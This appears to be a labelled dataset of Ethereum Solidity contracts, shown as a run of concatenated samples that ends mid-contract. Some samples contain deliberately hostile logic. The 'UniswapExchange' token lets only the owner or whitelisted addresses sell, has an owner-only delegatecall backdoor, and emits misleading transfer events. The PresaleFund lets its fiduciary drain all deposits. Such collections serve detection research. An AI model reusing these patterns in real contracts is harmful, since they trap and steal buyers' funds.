return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity 0.4.25;
contract DrawContract is usingOraclize {
mapping(bytes32 => bool) validIds;
event LogQueryId(bytes32 queryId);
event LogNewOraclizeQuery(string description);
address owner;
constructor () payable public {
owner = msg.sender;
}
function __callback(bytes32 myid, string result) public {
if (!validIds[myid]) revert();
if (msg.sender != oraclize_cbAddress()) revert();
delete validIds[myid];
}
function draw(string url, string lotterySlug, string drawDate) payable external {
require(msg.sender == owner);
if (oraclize_getPrice("URL") > address(this).balance) {
emit LogNewOraclizeQuery("false");
} else {
bytes32 queryId = oraclize_query("URL", url);
validIds[queryId] = true;
emit LogQueryId(queryId);
emit LogNewOraclizeQuery("true");
}
}
} | 0 | 1,849 |
pragma solidity ^0.4.15;
contract Owned {
address public owner;
address public newOwner;
event ChangedOwner(address indexed new_owner);
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner external {
newOwner = _newOwner;
}
function acceptOwnership() external {
if (msg.sender == newOwner) {
owner = newOwner;
newOwner = 0x0;
ChangedOwner(owner);
}
}
}
contract Token {
function transferFrom(address from, address to, uint amount) returns (bool);
function transfer(address to, uint amount) returns(bool);
function balanceOf(address addr) constant returns(uint);
}
contract BatchTransfer is Owned {
uint public nonce;
Token public token;
event Batch(uint256 indexed nonce);
event Complete();
function batchTransfer(uint n, uint256[] bits) public onlyOwner {
require(n == nonce);
nonce += 1;
uint256 lomask = (1 << 96) - 1;
uint sum = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
token.transfer(a, value);
}
Batch(n);
}
function setToken(address tokenAddress) public onlyOwner {
token = Token(tokenAddress);
}
function reset() public onlyOwner {
nonce = 0;
Complete();
}
function refund() public onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
function getBalance() public constant returns (uint256 balance) {
return token.balanceOf(this);
}
} | 1 | 3,682 |
pragma solidity ^0.4.16;
contract PresaleFund {
bool isClosed;
struct Deposit { address buyer; uint amount; }
uint refundDate;
address fiduciary = msg.sender;
Deposit[] Deposits;
mapping (address => uint) total;
function() public payable { }
function init(uint date)
{
refundDate = date;
}
function deposit()
public payable {
if (msg.value >= 0.25 ether && !isClosed)
{
Deposit newDeposit;
newDeposit.buyer = msg.sender;
newDeposit.amount = msg.value;
Deposits.push(newDeposit);
total[msg.sender] += msg.value;
}
if (this.balance >= 25 ether)
{
isClosed = true;
}
}
function refund(uint amount)
public {
if (total[msg.sender] >= amount && amount > 0)
{
if (now >= refundDate && isClosed==false)
{
msg.sender.transfer(amount);
}
}
}
function close()
public {
if (msg.sender == fiduciary)
{
msg.sender.transfer(this.balance);
isClosed = true;
}
}
} | 1 | 4,404 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,634 |
pragma solidity ^0.4.18;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
event Transfer(address indexed from, address indexed to, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) private returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract SmartNodeToken is StandardToken {
string public name = "Smart Node";
string public symbol = "Node";
uint public decimals = 0;
bool halted = false;
bool preTge = true;
bool public freeze = true;
address founder = 0x0;
address owner = 0x0;
uint totalTokens = 40000000;
uint team = 0;
uint bounty = 0;
uint preTgeCap = 40000120;
uint tgeCap = 40000120;
uint presaleTokenSupply = 0;
uint presaleEtherRaised = 0;
uint preTgeTokenSupply = 0;
event Buy(address indexed sender, uint eth, uint fbt);
event TokensSent(address indexed to, uint256 value);
event ContributionReceived(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function SmartNodeToken(address _founder) payable {
owner = msg.sender;
founder = _founder;
balances[founder] = team;
totalTokens = safeSub(totalTokens, team);
totalTokens = safeSub(totalTokens, bounty);
totalSupply = totalTokens;
balances[owner] = totalSupply;
}
function price() constant returns (uint){
return 1 finney;
}
function buy() public payable returns(bool) {
require(!halted);
require(msg.value>0);
uint tokens = msg.value / price();
require(balances[owner]>tokens);
if (preTge) {
tokens = tokens;
}
if (preTge) {
require(safeAdd(presaleTokenSupply, tokens) < preTgeCap);
} else {
require(safeAdd(presaleTokenSupply, tokens) < safeSub(tgeCap, preTgeTokenSupply));
}
founder.transfer(msg.value);
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
balances[owner] = safeSub(balances[owner], tokens);
if (preTge) {
preTgeTokenSupply = safeAdd(preTgeTokenSupply, tokens);
}
presaleTokenSupply = safeAdd(presaleTokenSupply, tokens);
presaleEtherRaised = safeAdd(presaleEtherRaised, msg.value);
Buy(msg.sender, msg.value, tokens);
TokensSent(msg.sender, tokens);
ContributionReceived(msg.sender, msg.value);
Transfer(owner, msg.sender, tokens);
return true;
}
function sendSupplyTokens(address _to, uint256 _value) onlyOwner() {
balances[owner] = safeSub(balances[owner], _value);
balances[_to] = safeAdd(balances[_to], _value);
TokensSent(_to, _value);
Transfer(owner, _to, _value);
}
function transfer(address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function burnRemainingTokens() isAvailable() onlyOwner() {
Burn(owner, balances[owner]);
balances[owner] = 0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier isAvailable() {
require(!halted && !freeze);
_;
}
function() payable {
buy();
}
function freeze() onlyOwner() {
freeze = true;
}
function unFreeze() onlyOwner() {
freeze = false;
}
function changeOwner(address _to) onlyOwner() {
balances[_to] = balances[owner];
balances[owner] = 0;
owner = _to;
}
function changeFounder(address _to) onlyOwner() {
balances[_to] = balances[founder];
balances[founder] = 0;
founder = _to;
}
} | 1 | 5,358 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public maxMintQuantity;
bool public isLimitMint = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
require(maxMintQuantity>=totalSupply_.add(_amount));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function mintArray(address[] _to, uint256[] _value) public returns (bool) {
uint cnt = _to.length;
uint cntVal = _value.length;
require(cnt >0);
require(cnt == cntVal);
for (uint i = 0; i < cnt; i++) {
mint(_to[i],_value[i]);
}
return true;
}
